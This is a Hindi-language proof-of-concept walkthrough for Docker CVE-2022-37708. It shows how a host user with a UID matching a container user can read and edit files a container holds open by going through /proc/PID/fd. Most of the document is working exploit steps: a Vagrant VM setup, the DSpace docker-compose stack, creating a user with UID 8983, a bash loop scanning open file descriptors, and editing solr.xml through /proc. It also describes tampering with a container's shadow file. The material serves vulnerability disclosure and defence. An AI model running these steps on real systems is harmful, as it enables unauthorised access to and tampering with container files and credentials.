
Docker CVE-2022-37708
Docker CVE-2022-37708।
यह एक्सप्लॉइट इस बात पर निर्भर करता है कि UNIX फाइलसिस्टम उन फाइलों पर UID और GID कैसे रखता है जिन्हें Docker होस्ट (Host) और Docker के भीतर चलने वाले क्लाइंट (Client) के बीच साझा करता है, साथ ही यह इस बात पर भी निर्भर करता है कि प्रोसेस आईडी (Process ID) स्वामित्व कैसे काम करता है।
यह लगभग किसी भी भाषा में किया जा सकता है जो फाइल डिस्क्रिप्टर एक्सेस प्रदान करती है। /proc/ निर्देशिका इसे उजागर करती है, जिससे शेल कमांड का उपयोग करके इसे करना बहुत आसान हो जाता है।
एक ऐसे कंप्यूटर पर विचार करें जो कई उपयोगकर्ताओं के लिए ई-मेल सेवा प्रदान कर रहा है। यह ई-मेल सेवा होस्ट पर Docker के भीतर चल रहे एक स्व-निहित वितरण के अंदर चलाई जाती है। स्व-निहित वितरण को "क्लाइंट सिस्टम" माना जाता है। जिस सिस्टम पर Docker चल रहा है उसे "होस्ट सिस्टम" माना जाता है। "होस्ट सिस्टम" पर विभिन्न सेवाएँ होती हैं, जैसे मैसेज-बस प्रदान करने के लिए "DBUS"। सुरक्षा कारणों से, "DBUS" मैसेज बस एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता "messagebus" के रूप में चलाई जाती है और इसका UID 123 है। "messagebus" उपयोगकर्ता के पास Docker तक कोई पहुँच नहीं है और "क्लाइंट सिस्टम" तक भी कोई पहुँच नहीं है। सुरक्षा कारणों से, "क्लाइंट सिस्टम" ई-मेल प्रोसेसिंग को एक गैर-root उपयोगकर्ता "emailservice" के रूप में चलाता है और इसका UID 123 है।
ध्यान दें कि मैंने "messagebus" का UID 123 और "emailservice" का भी UID 123 कैसे निर्धारित किया है। यह सामान्यतः कोई समस्या नहीं है क्योंकि ये दो अलग-अलग सिस्टम हैं ("क्लाइंट सिस्टम" और "होस्ट सिस्टम") और उनके UIDs और उपयोगकर्ता मैपिंग का एक-दूसरे से कोई संबंध नहीं होता।
यदि किसी भी समय "emailservice" प्रोसेस करने के लिए एक यादृच्छिक ई-मेल खोलता है, तो "messagebus" के पास उस फाइल को देखने और संपादित करने दोनों का अवसर होगा। चूंकि "messagebus" उपयोगकर्ता पूरी तरह से "क्लाइंट सिस्टम" के बाहर है, "क्लाइंट सिस्टम" को कभी पता नहीं चलेगा कि इस फाइल को संभावित रूप से पढ़ा और लिखा जा रहा है।
यह और भी खतरनाक हो सकता है यदि "emailservice" किसी उपयोगकर्ता-नाम और पासवर्ड संयोजन को सत्यापित करने के लिए सिस्टम की shadow फाइल पढ़ता है। तब "messagebus" के पास उस समयावधि के लिए "क्लाइंट सिस्टम" के भीतर shadow फाइल तक पूर्ण पढ़ने और लिखने की पहुँच होगी, जब तक वह फाइल "क्लाइंट सिस्टम" के भीतर खुली रहती है।
एक्सप्लॉइट करने का एक आसान तरीका है कि pid फाइलों के लिए /proc/ निर्देशिका को PID डायल करना।
एक साधारण bash स्क्रिप्ट एक अनंत लूप में समय-समय पर खोली जा रही फाइलों की तलाश कर सकती है।
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
एक्सप्लॉइट के दो महत्वपूर्ण पहलू हैं जो इसे शोषण करना कठिन बनाते हैं।
पहले मामले के लिए, एक अनंत लूप और कुछ स्क्रिप्ट जादू इस समस्या को कम कर सकते हैं। दूसरे मामले के लिए, एक विशेष रूप से निर्मित वितरण या एक प्रसिद्ध वितरण भाग्य वाले हिस्से को समाप्त कर सकता है। यदि किसी सिस्टम में पूर्व-निर्धारित UIDs हैं तो यह अनुमान लगाना संभव होना चाहिए कि "क्लाइंट सिस्टम" के बाहर किस UID की आवश्यकता है।
"होस्ट सिस्टम" के रूप में चलाने के लिए Vagrant Debian-10 (Buster) वर्चुअल मशीन का उपयोग करके एक्सप्लॉइट का परीक्षण करें:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
"होस्ट सिस्टम" के अंदर, Docker का नवीनतम संस्करण प्राप्त करें और यहाँ दिए गए निर्देशों का पालन करें:
उदाहरण "क्लाइंट सिस्टम" Github पर होस्ट किया गया एक ओपन-सोर्स उत्पाद है जिसे DSpace कहा जाता है, जो एक docker-compose फाइल प्रदान करता है:
अब Dspace को क्लोन करें, और docker compose चलाएँ:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
इस प्रोजेक्ट द्वारा कई इमेज बनाई जाती हैं, लेकिन आइए "dspace_solr_data" पर ध्यान केंद्रित करें।
आइए पुष्टि करें कि डायरेक्टरी ट्रैवर्सल सुरक्षित है:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
आइए उस फाइल को देखें जिसका मैं शोषण करना चाहता हूँ:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
यह हमें बताता है कि हमारे भाग्यशाली उपयोगकर्ता के पास इसका शोषण करने में सक्षम होने के लिए संयोगवश UID 8983 होना आवश्यक है।
आइए इस भाग्यशाली उपयोगकर्ता को बनाएं, और उसे "Lightman" कहें।
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
अब आइए उन फाइलों को देखें:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Lightman के लिए इसका शोषण करने हेतु, केवल Lightman का फाइलों का स्वामी होना ही पर्याप्त नहीं है, "क्लाइंट सिस्टम" के भीतर किसी प्रक्रिया के पास फाइल खुली होनी चाहिए।
इस एक्सप्लॉइट को सिद्ध करने के प्रयोजन के लिए, हम "क्लाइंट सिस्टम" के अंदर solr.xml फाइल पर tail -F का उपयोग करने जा रहे हैं।
इसे एक अलग टर्मिनल में करें, जिसमें vagrant उपयोगकर्ता के रूप में "होस्ट मशीन" में लॉग इन किया गया हो।
सही कंटेनर का पता लगाएं:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
अब solr:8.11-slim से कनेक्ट करें।
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr उपयोगकर्ता के पास वास्तव में UID 8983 है।
अब solr.xml फाइल खोलें और इसे खुला रखें।
# tail -F /var/solr/data/solr.xml
बढ़िया, इस Lightman उपयोगकर्ता के लिए फाइल डिस्क्रिप्टर की वार डायल करने हेतु सब कुछ तैयार है।
एक अलग टर्मिनल में, vagrant उपयोगकर्ता के रूप में "होस्ट सिस्टम" में लॉग इन करें, और Lightman उपयोगकर्ता पर स्विच करें।
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
सभी खुले फाइल डिस्क्रिप्टर को डायल करने के लिए /proc का उपयोग करें:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
जैसा कि आप देख सकते हैं, हमारे पास दो मेल हैं:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
ध्यान दें कि पथ /var/solr/data/solr.xml वास्तव में "होस्ट सिस्टम" पर मौजूद नहीं है।
ऐसा करते समय उस टर्मिनल पर पूरा ध्यान दें जिस पर आप tail -F चला रहे हैं।
proc पथ के माध्यम से सीधे खोलकर फाइल को संपादित करें:
# vim /proc/12683/fd/3
मैं फाइल के नीचे जाता हूँ, Hello World लिखता हूँ, और परिवर्तन सहेजता हूँ।
आपको दिखना चाहिए कि "क्लाइंट सिस्टम" के भीतर भी फाइल अपडेट हो गई है।
Lightman ने सफलतापूर्वक एक ऐसी फाइल को संपादित किया है जिस तक Lightman के पास कोई उचित पढ़ने/लिखने की पहुँच नहीं है और न ही उसके पास कोई फाइल डायरेक्टरी ट्रैवर्सल पहुँच है। फाइल वास्तव में एक Docker क्लाइंट के भीतर है जो एक अलग वितरण के अंतर्गत चल रहा है जिस पर कोई "Lightman" उपयोगकर्ता नहीं है।